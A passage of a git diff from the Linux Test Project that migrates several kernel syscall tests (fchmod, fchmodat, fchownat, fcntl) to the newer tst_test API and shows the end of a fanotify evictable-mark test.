verify_mark_removed(TEST_FILE, "after drop_caches"); + + SAFE_CHMOD(TEST_FILE, 0600); + event_set[tst_count] = FAN_ATTRIB; + tst_count++; + + /* Read events to verify ATTRIB event was properly generated */ + ret = SAFE_READ(0, fd_notify, event_buf + len, EVENT_BUF_LEN - len); + len += ret; + + /* + * Check events + */ + event = (struct fanotify_event_metadata *)event_buf; + + /* Iterate over and validate events against expected result set */ + while (FAN_EVENT_OK(event, len) && test_num < tst_count) { + if (!(event->mask & event_set[test_num])) { + tst_res(TFAIL, + "got event: mask=%llx (expected %llx)", + (unsigned long long)event->mask, + event_set[test_num]); + } else { + tst_res(TPASS, + "got event: mask=%llx", + (unsigned long long)event->mask); + } + /* + * Close fd and invalidate it so that we don't check it again + * unnecessarily + */ + if (event->fd >= 0) + SAFE_CLOSE(event->fd); + event->fd = FAN_NOFD; + event->mask &= ~event_set[test_num]; + /* No events left in current mask? Go for next event */ + if (event->mask == 0) + event = FAN_EVENT_NEXT(event, len); + test_num++; + } + + while (FAN_EVENT_OK(event, len)) { + tst_res(TFAIL, + "got unnecessary event: mask=%llx", + (unsigned long long)event->mask); + if (event->fd != FAN_NOFD) + SAFE_CLOSE(event->fd); + event = FAN_EVENT_NEXT(event, len); + } + + SAFE_CLOSE(fd_notify); + /* Flush out all pending dirty inodes and destructing marks */ + mount_cycle(); +} + +static void setup(void) +{ + SAFE_TOUCH(TEST_FILE, 0666, NULL); + + REQUIRE_MARK_TYPE_SUPPORTED_BY_KERNEL(FAN_MARK_EVICTABLE); + REQUIRE_FANOTIFY_EVENTS_SUPPORTED_ON_FS(FAN_CLASS_NOTIF|FAN_REPORT_FID, + FAN_MARK_FILESYSTEM, + FAN_ATTRIB, "."); + + SAFE_FILE_SCANF(CACHE_PRESSURE_FILE, "%d", &old_cache_pressure); + /* Set high priority for evicting inodes */ + SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "500"); +} + +static void cleanup(void) +{ + if (fd_notify > 0) + SAFE_CLOSE(fd_notify); + + SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "%d", old_cache_pressure); +} + +static struct tst_test test = { + .test_all = test_fanotify, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MOUNT_PATH, + /* Shrinkers on other fs do not work reliably enough to guarantee mark eviction on drop_caches */ + .dev_fs_type = "ext2", +}; + +#else + TST_TEST_TCONF("system doesn't have required fanotify support"); +#endif diff --git a/testcases/kernel/syscalls/fchmod/fchmod02.c b/testcases/kernel/syscalls/fchmod/fchmod02.c index e60cb33a..d6abeffc 100755 --- a/testcases/kernel/syscalls/fchmod/fchmod02.c +++ b/testcases/kernel/syscalls/fchmod/fchmod02.c @@ -1,18 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 + */ + +/*\ + * [Description] * - * Test Description: - * Verify that, fchmod() will succeed to change the mode of a file/directory - * set the sticky bit on it if invoked by root (uid = 0) process with - * the following constraints, - * - the process is not the owner of the file/directory. - * - the effective group ID or one of the supplementary group ID's of the - * process is equal to the group ID of the file/directory. + * Verify that, fchmod(2) will succeed to change the mode of a file/directory + * set the sticky bit on it if invoked by root (uid = 0) process with + * the following constraints: * - * Expected Result: - * fchmod() should return value 0 on success and succeeds to set sticky bit - * on the specified file. + * - the process is not the owner of the file/directory + * - the effective group ID or one of the supplementary group ID's of the + * process is equal to the group ID of the file/directory */ #include diff --git a/testcases/kernel/syscalls/fchmod/fchmod03.c b/testcases/kernel/syscalls/fchmod/fchmod03.c index a5824f36..bdd720c3 100755 --- a/testcases/kernel/syscalls/fchmod/fchmod03.c +++ b/testcases/kernel/syscalls/fchmod/fchmod03.c @@ -1,170 +1,66 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* - * Test Name: fchmod03 - * - * Test Description: - * Verify that, fchmod(2) will succeed to change the mode of a file - * and set the sticky bit on it if invoked by non-root (uid != 0) - * process with the following constraints, - * - the process is the owner of the file. - * - the effective group ID or one of the supplementary group ID's of the - * process is equal to the group ID of the file. - * - * Expected Result: - * fchmod() should return value 0 on success and succeeds to change - * the mode of specified file, sets sticky bit on it. +/*\ + * [Description] * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * Usage: - * fchmod03 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS: - * This test should be run by 'non-super-user' only. + * Verify that, fchmod(2) will succeed to change the mode of a file + * and set the sticky bit on it if invoked by non-root (uid != 0) + * process with the following constraints: * + * - the process is the owner of the file + * - the effective group ID or one of the supplementary group ID's of the + * process is equal to the group ID of the file */ -#include -#include -#include -#include -#include -#include -#include #include - -#include "test.h" -#include "safe_macros.h" #include "fchmod.h" +#include "tst_test.h" -int fd; /* file descriptor for test file */ -char *TCID = "fchmod03"; -int TST_TOTAL = 1; - -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; +static int fd; +static const char nobody_uid[] = "nobody"; +static struct passwd *ltpuser; -void setup(); /* Main setup function for the test */ -void cleanup(); /* Main cleanup function for the test */ - -int main(int ac, char **av) +static void verify_fchmod(void) { - struct stat stat_buf; /* stat struct. */ - int lc; - mode_t file_mode; /* mode permissions set on testfile */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { + struct stat stat_buf; + mode_t file_mode; - tst_count = 0; + TST_EXP_PASS_SILENT(fchmod(fd, PERMS)); - TEST(fchmod(fd, PERMS)); + if (fstat(fd, &stat_buf) == -1) + tst_brk(TFAIL | TERRNO, "fstat failed"); + file_mode = stat_buf.st_mode; - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "fchmod failed"); - continue; - } - /* - * Get the file information using - * fstat(2). - */ - if (fstat(fd, &stat_buf) == -1) - tst_brkm(TFAIL | TERRNO, cleanup, - "fstat failed"); - file_mode = stat_buf.st_mode; - - /* Verify STICKY BIT set on testfile */ - if ((file_mode & PERMS) != PERMS) - tst_resm(TFAIL, "%s: Incorrect modes 0%3o, " - "Expected 0777", TESTFILE, file_mode); - else - tst_resm(TPASS, "Functionality of fchmod(%d, " - "%#o) successful", fd, PERMS); - } - - cleanup(); - tst_exit(); + if ((file_mode & PERMS) != PERMS) + tst_res(TFAIL, "%s: Incorrect modes 0%3o, " + "Expected 0777", TESTFILE, file_mode); + else + tst_res(TPASS, "Functionality of fchmod(%d, " + "%#o) successful", fd, PERMS); } -void setup(void) +static void setup(void) { + ltpuser = SAFE_GETPWNAM(nobody_uid); - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - tst_require_root(); + SAFE_SETEUID(ltpuser->pw_uid); - ltpuser = getpwnam(nobody_uid); - if (ltpuser == NULL) - tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed"); - SAFE_SETEUID(NULL, ltpuser->pw_uid); - - TEST_PAUSE; - - tst_tmpdir(); - - /* - * Create a test file under temporary directory with specified - * mode permissios and set the ownership of the test file to the - * uid/gid of guest user. - */ - if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "open failed"); + fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, FILE_MODE); } -void cleanup(void) +static void cleanup(void) { - if (close(fd) == -1) - tst_resm(TWARN | TERRNO, "close failed"); - - tst_rmdir(); - + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .test_all = verify_fchmod, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/fchmod/fchmod04.c b/testcases/kernel/syscalls/fchmod/fchmod04.c index befaadb3..4fa69e22 100755 --- a/testcases/kernel/syscalls/fchmod/fchmod04.c +++ b/testcases/kernel/syscalls/fchmod/fchmod04.c @@ -1,190 +1,65 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* - * Test Name: fchmod04 - * - * Test Description: - * Verify that, fchmod(2) will succeed to change the mode of a directory - * and set the sticky bit on it if invoked by non-root (uid != 0) process - * with the following constraints, - * - the process is the owner of the directory. - * - the effective group ID or one of the supplementary group ID's of the - * process is equal to the group ID of the directory. - * - * Expected Result: - * fchmod() should return value 0 on success and succeeds to set sticky bit - * on the specified directory. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * Usage: - * fchmod04 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS: - * This test should be run by 'non-super-user' only. + * Verify that, fchmod(2) will succeed to change the mode of a directory + * and set the sticky bit on it if invoked by non-root (uid != 0) process + * with the following constraints: * + * - the process is the owner of the directory + * - the effective group ID or one of the supplementary group ID's of the + * process is equal to the group ID of the directory */ -#include -#include -#include -#include -#include -#include -#include #include - -#include "test.h" -#include "safe_macros.h" +#include #include "fchmod.h" +#include "tst_test.h" -int fd; /* file descriptor for test directory */ -char *TCID = "fchmod04"; -int TST_TOTAL = 1; - -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; +static int fd; +static const char nobody_uid[] = "nobody"; -void setup(); -void cleanup(); - -int main(int ac, char **av) +static void verify_fchmod(void) { - struct stat stat_buf; /* stat struct. */ - int lc; - mode_t dir_mode; /* mode permissions set on testdirectory */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call fchmod(2) with mode argument to - * set sticky bit on TESTDIR - */ - TEST(fchmod(fd, PERMS)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "fchmod failed"); - continue; - } - if (fstat(fd, &stat_buf) == -1) - tst_brkm(TFAIL | TERRNO, cleanup, - "fstat failed"); - dir_mode = stat_buf.st_mode; - - if ((dir_mode & PERMS) == PERMS) - tst_resm(TPASS, "Functionality of fchmod(%d, " - "%#o) successful", fd, PERMS); - else - tst_resm(TFAIL, "%s: Incorrect modes 0%03o, " - "Expected 0%03o", - TESTDIR, dir_mode, PERMS); - } - - cleanup(); - tst_exit(); + struct stat stat_buf; + mode_t dir_mode; + + TST_EXP_PASS_SILENT(fchmod(fd, PERMS)); + + if (fstat(fd, &stat_buf) == -1) + tst_brk(TFAIL | TERRNO, "fstat failed"); + dir_mode = stat_buf.st_mode; + + if ((dir_mode & PERMS) == PERMS) + tst_res(TPASS, "Functionality of fchmod(%d, " + "%#o) successful", fd, PERMS); + else + tst_res(TFAIL, "%s: Incorrect modes 0%03o, " + "Expected 0%03o", + TESTDIR, dir_mode, PERMS); } -/* - * void - * setup() - performs all ONE TIME setup for this test. - * Create a temporary directory and cd to it. - * Create another test directory under temporary directory. - * Open the test directory for reading. - */ -void setup(void) +static void setup(void) { - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - /* Switch to nobody user for correct error code collection */ - ltpuser = getpwnam(nobody_uid); - if (seteuid(ltpuser->pw_uid) == -1) { - tst_resm(TINFO, "seteuid failed to " - "to set the effective uid to %d", ltpuser->pw_uid); - perror("seteuid"); - } - - TEST_PAUSE; - - tst_tmpdir(); - - /* - * Create a test directory under temporary directory with specified - * mode permissios and open it for reading/writing. - */ - SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE); - if ((fd = open(TESTDIR, O_RDONLY)) == -1) { - tst_brkm(TBROK, cleanup, - "open(%s, O_RDONLY) failed, errno=%d : %s", - TESTDIR, errno, strerror(errno)); - } + SAFE_GETPWNAM(nobody_uid); + SAFE_MKDIR(TESTDIR, DIR_MODE); + fd = SAFE_OPEN(TESTDIR, O_RDONLY); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Close the test directory opened during setup(). - * Remove the test directory and temporary directory created in setup(). - */ -void cleanup(void) +static void cleanup(void) { - - /* Close the test directory opened during setup() */ - SAFE_CLOSE(NULL, fd); - - tst_rmdir(); - + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .test_all = verify_fchmod, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/fchmod/fchmod06.c b/testcases/kernel/syscalls/fchmod/fchmod06.c index 446865b1..4a8aee6c 100755 --- a/testcases/kernel/syscalls/fchmod/fchmod06.c +++ b/testcases/kernel/syscalls/fchmod/fchmod06.c @@ -50,7 +50,7 @@ static void verify_fchmod(unsigned int i) } tst_res(TFAIL | TTERRNO, - "fchmod() failed unexpectedly, expected %i - %s", + "fchmod() failed unexpectedly, expected %i - %s", TST_ERR, tst_strerrno(TST_ERR)); } diff --git a/testcases/kernel/syscalls/fchmodat/fchmodat01.c b/testcases/kernel/syscalls/fchmodat/fchmodat01.c index 369f80eb..3deff0eb 100755 --- a/testcases/kernel/syscalls/fchmodat/fchmodat01.c +++ b/testcases/kernel/syscalls/fchmodat/fchmodat01.c @@ -1,116 +1,65 @@ -/****************************************************************************** +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2006 * - * Copyright (c) International Business Machines Corp., 2006 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * - * NAME - * fchmodat01.c - * - * DESCRIPTION - * This test case will verify basic function of fchmodat - * added by kernel 2.6.16 or up. - * - * Author - * Yi Yang - * - * History - * 08/28/2006 Created first by Yi Yang + * 08/28/2006 AUTHOR: Yi Yang + */ + +/*\ + * [Description] * - *****************************************************************************/ + * This test case will verify basic function of fchmodat. + */ #define _GNU_SOURCE -#include -#include -#include #include -#include -#include #include -#include -#include "test.h" -#include "safe_macros.h" +#include +#include +#include "tst_test.h" #include "lapi/syscalls.h" -#define TEST_CASES 6 #ifndef AT_FDCWD #define AT_FDCWD -100 #endif -void setup(); -void cleanup(); - -char *TCID = "fchmodat01"; -int TST_TOTAL = TEST_CASES; -char pathname[256]; -char testfile[256]; -char testfile2[256]; -char testfile3[256]; -int fds[TEST_CASES]; -char *filenames[TEST_CASES]; -int expected_errno[TEST_CASES] = { 0, 0, ENOTDIR, EBADF, 0, 0 }; - -int myfchmodat(int dirfd, const char *filename, mode_t mode) -{ - return ltp_syscall(__NR_fchmodat, dirfd, filename, mode); -} -int main(int ac, char **av) +static char pathname[256]; +static char testfile[256]; +static char testfile2[256]; +static char testfile3[256]; + +static struct tcase { + int exp_errno; + char *exp_errval; +} tcases[] = { + { 0, NULL}, + { 0, NULL}, + { ENOTDIR, "ENOTDIR"}, + { EBADF, "EBADF"}, + { 0, NULL}, + { 0, NULL}, +}; +static int fds[ARRAY_SIZE(tcases)]; +static char *filenames[ARRAY_SIZE(tcases)]; + +static void verify_fchmodat(unsigned int i) { - int lc; - int i; - - /* Disable test if the version of the kernel is less than 2.6.16 */ - if ((tst_kvercmp(2, 6, 16)) < 0) { - tst_resm(TWARN, "This test can only run on kernels that are "); - tst_resm(TWARN, "2.6.16 and higher"); - exit(0); - } - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - TEST(myfchmodat(fds[i], filenames[i], 0600)); - - if (TEST_ERRNO == expected_errno[i]) { - tst_resm(TPASS, - "fchmodat() returned the expected errno %d: %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, - "fchmodat() Failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } - } - } - - cleanup(); - tst_exit(); + struct tcase *tc = &tcases[i]; + + if (tc->exp_errno == 0) + TST_EXP_PASS(tst_syscall(__NR_fchmodat, fds[i], filenames[i], 0600), + "fchmodat() returned the expected errno %d: %s", + TST_ERR, strerror(TST_ERR)); + else + TST_EXP_FAIL(tst_syscall(__NR_fchmodat, fds[i], filenames[i], 0600), + tc->exp_errno, + "fchmodat() returned the expected errno %d: %s", + TST_ERR, strerror(TST_ERR)); } -void setup(void) +static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - tst_tmpdir(); - /* Initialize test dir and file names */ char *abs_path = tst_get_tmpdir(); int p = getpid(); @@ -122,31 +71,35 @@ void setup(void) free(abs_path); - SAFE_MKDIR(cleanup, pathname, 0700); + SAFE_MKDIR(pathname, 0700); - fds[0] = SAFE_OPEN(cleanup, pathname, O_DIRECTORY); + fds[0] = SAFE_OPEN(pathname, O_DIRECTORY); fds[1] = fds[4] = fds[0]; - SAFE_FILE_PRINTF(cleanup, testfile, "%s", testfile); - SAFE_FILE_PRINTF(cleanup, testfile2, "%s", testfile2); + SAFE_FILE_PRINTF(testfile, "%s", testfile); + SAFE_FILE_PRINTF(testfile2, "%s", testfile2); - fds[2] = SAFE_OPEN(cleanup, testfile3, O_CREAT | O_RDWR, 0600); + fds[2] = SAFE_OPEN(testfile3, O_CREAT | O_RDWR, 0600); fds[3] = 100; fds[5] = AT_FDCWD; filenames[0] = filenames[2] = filenames[3] = filenames[4] = testfile; filenames[1] = testfile2; filenames[5] = testfile3; - - TEST_PAUSE; } -void cleanup(void) +static void cleanup(void) { if (fds[0] > 0) close(fds[0]); if (fds[2] > 0) close(fds[2]); - - tst_rmdir(); } + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .test = verify_fchmodat, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, +}; diff --git a/testcases/kernel/syscalls/fchown/fchown02.c b/testcases/kernel/syscalls/fchown/fchown02.c index d02f5bc9..bd1baf3b 100755 --- a/testcases/kernel/syscalls/fchown/fchown02.c +++ b/testcases/kernel/syscalls/fchown/fchown02.c @@ -10,6 +10,7 @@ * [Description] * * Verify that fchown(2) invoked by super-user: + * * - clears setuid and setgid bits set on an executable file * - preserves setgid bit set on a non-group-executable file */ diff --git a/testcases/kernel/syscalls/fchownat/fchownat.h b/testcases/kernel/syscalls/fchownat/fchownat.h index a95c26f9..927cf929 100755 --- a/testcases/kernel/syscalls/fchownat/fchownat.h +++ b/testcases/kernel/syscalls/fchownat/fchownat.h @@ -29,7 +29,7 @@ static inline int fchownat(int dirfd, const char *filename, uid_t owner, gid_t group, int flags) { - return ltp_syscall(__NR_fchownat, dirfd, filename, owner, group, flags); + return tst_syscall(__NR_fchownat, dirfd, filename, owner, group, flags); } #endif diff --git a/testcases/kernel/syscalls/fchownat/fchownat01.c b/testcases/kernel/syscalls/fchownat/fchownat01.c index a658f07d..3b29f1e7 100755 --- a/testcases/kernel/syscalls/fchownat/fchownat01.c +++ b/testcases/kernel/syscalls/fchownat/fchownat01.c @@ -86,9 +86,6 @@ int main(int ac, char **av) static void setup(void) { - if ((tst_kvercmp(2, 6, 16)) < 0) - tst_brkm(TCONF, NULL, "This test needs kernel 2.6.16 or newer"); - tst_sig(NOFORK, DEF_HANDLER, cleanup); TEST_PAUSE; diff --git a/testcases/kernel/syscalls/fchownat/fchownat02.c b/testcases/kernel/syscalls/fchownat/fchownat02.c index 701623dd..c39b0a91 100755 --- a/testcases/kernel/syscalls/fchownat/fchownat02.c +++ b/testcases/kernel/syscalls/fchownat/fchownat02.c @@ -71,9 +71,6 @@ static void setup(void) { struct stat c_buf, l_buf; - if ((tst_kvercmp(2, 6, 16)) < 0) - tst_brkm(TCONF, NULL, "This test needs kernel 2.6.16 or newer"); - tst_require_root(); tst_sig(NOFORK, DEF_HANDLER, cleanup); diff --git a/testcases/kernel/syscalls/fcntl/.gitignore b/testcases/kernel/syscalls/fcntl/.gitignore index ede0c97b..10cb0995 100755 --- a/testcases/kernel/syscalls/fcntl/.gitignore +++ b/testcases/kernel/syscalls/fcntl/.gitignore @@ -8,8 +8,6 @@ /fcntl04_64 /fcntl05 /fcntl05_64 -/fcntl06 -/fcntl06_64 /fcntl07 /fcntl07_64 /fcntl08 @@ -74,3 +72,5 @@ /fcntl37_64 /fcntl38 /fcntl38_64 +/fcntl39 +/fcntl39_64 diff --git a/testcases/kernel/syscalls/fcntl/fcntl05.c b/testcases/kernel/syscalls/fcntl/fcntl05.c index fb4a0f9a..7835d1e3 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl05.c +++ b/testcases/kernel/syscalls/fcntl/fcntl05.c @@ -1,25 +1,6 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * + * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, * Mountain View, CA 94043, or: * @@ -29,158 +10,63 @@ * * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ * + * AUTHOR : William Roske + * CO-PILOT : Dave Fenner */ -/* $Id: fcntl05.c,v 1.8 2009/11/02 13:57:16 subrata_modak Exp $ */ -/********************************************************** - * - * OS Test - Silicon Graphics, Inc. - * - * TEST IDENTIFIER : fcntl05 - * - * EXECUTED BY : anyone - * - * TEST TITLE : Basic test for fcntl(2) using F_GETLK argument. - * - * PARENT DOCUMENT : usctpl01 - * - * TEST CASE TOTAL : 1 - * - * WALL CLOCK TIME : 1 - * - * CPU TYPES : ALL - * - * AUTHOR : William Roske - * - * CO-PILOT : Dave Fenner - * - * DATE STARTED : 03/30/92 - * - * INITIAL RELEASE : UNICOS 7.0 - * - * TEST CASES - * - * 1.) fcntl(2) returns...(See Description) - * - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * - * OUTPUT SPECIFICATIONS - * - * DURATION - * Terminates - with frequency and infinite modes. - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * RESOURCES - * None - * - * ENVIRONMENTAL NEEDS - * No run-time environmental needs. - * - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * - * INTERCASE DEPENDENCIES - * None - * - * DETAILED DESCRIPTION - * This is a Phase I test for the fcntl(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * fcntl(2). - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given + +/*\ + * [Description] * + * Basic test for fcntl(2) using F_GETLK argument. * - *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ + * If the lock could be placed, fcntl() does not actually place it, but + * returns F_UNLCK in the l_type field of lock and leaves the other field + * of the structure unchanged. + */ +#include #include #include #include #include -#include -#include -#include -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "fcntl05"; -int TST_TOTAL = 1; +#include "tst_test.h" -char fname[255]; -int fd; -struct flock flocks; +static int fd = -1, pid; +static struct flock flocks; -int main(int ac, char **av) +static void verify_fcntl(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - flocks.l_type = F_RDLCK; - TEST(fcntl(fd, F_GETLK, &flocks)); - - if (TEST_RETURN == -1) - tst_resm(TFAIL | TTERRNO, "fcntl failed"); - else { - tst_resm(TPASS, "fcntl returned %ld", - TEST_RETURN); - } - - } - - cleanup(); - tst_exit(); + /* F_GETLK will change flock.l_type to F_UNLCK, so need to reset */ + flocks.l_type = F_RDLCK; + + TST_EXP_PASS(fcntl(fd, F_GETLK, &flocks), "fcntl(%d, F_GETLK, &flocks)", fd); + TST_EXP_EQ_LI(flocks.l_type, F_UNLCK); + TST_EXP_EQ_LI(flocks.l_whence, SEEK_CUR); + TST_EXP_EQ_LI(flocks.l_start, 0); + TST_EXP_EQ_LI(flocks.l_len, 0); + TST_EXP_EQ_LI(flocks.l_pid, pid); } -void setup(void) +static void setup(void) { + pid = getpid(); + fd = SAFE_OPEN("filename", O_RDWR | O_CREAT, 0700); - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); - - sprintf(fname, "tfile_%d", getpid()); - if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "open failed"); - - /* set needed flags in the flocks structure */ - flocks.l_whence = 1; + flocks.l_whence = SEEK_CUR; flocks.l_start = 0; flocks.l_len = 0; - flocks.l_pid = getpid(); + flocks.l_pid = pid; } -void cleanup(void) +static void cleanup(void) { - if (close(fd) == -1) - tst_resm(TWARN | TERRNO, "close failed"); - - tst_rmdir(); - + if (fd > -1) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .needs_tmpdir = 1, + .test_all = verify_fcntl, + .setup = setup, + .cleanup = cleanup, +}; diff --git a/testcases/kernel/syscalls/fcntl/fcntl11.c b/testcases/kernel/syscalls/fcntl/fcntl11.c index 2de2b6c5..d042c6b9 100755 --- a/testcases/kernel/syscalls/fcntl/fcntl11.c +++ b/testcases/kernel/syscalls/fcntl/fcntl11.c @@ -100,7 +100,7 @@ void setup(void) if ((fd = mkstemp(template)) < 0) tst_resm(TFAIL, "Couldn't open temp file! errno = %d", errno); - SAFE_WRITE(cleanup, 0, fd, buf, STRINGSIZE); + SAFE_WRITE(cleanup, SAFE_WRITE_ANY, fd, buf, STRINGSIZE); memset(&act, 0, sizeof(act)); act.sa_handler = catch_child; @@ -189,11 +189,11 @@ char *str_type(int type) static char buf[20]; switch (type) { - case 0: + case F_RDLCK: return ("F_RDLCK"); - case 1: + case F_WRLCK: return ("F_WRLCK"); - case 2: + case F_UNLCK: return ("F_UNLCK"); default: sprintf(buf, "BAD VALUE: %d", type); @@ -203,7 +203,7 @@ char *str_type(int type) void parent_put(struct flock *l) { - SAFE_WRITE(cleanup, 1, parent_pipe[1], l, sizeof(*l)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, parent_pipe[1], l, sizeof(*l)); } void parent_get(struct flock *l) @@ -213,7 +213,7 @@ void parent_get(struct flock *l) void child_put(struct flock *l) { - SAFE_WRITE(NULL, 1, child_pipe[1], l, sizeof(*l)); + SAFE_WRITE(NULL, SAFE_WRITE_ALL, child_pipe[1], l, sizeof(*l)); } void child_get(struct flock *l) diff --git 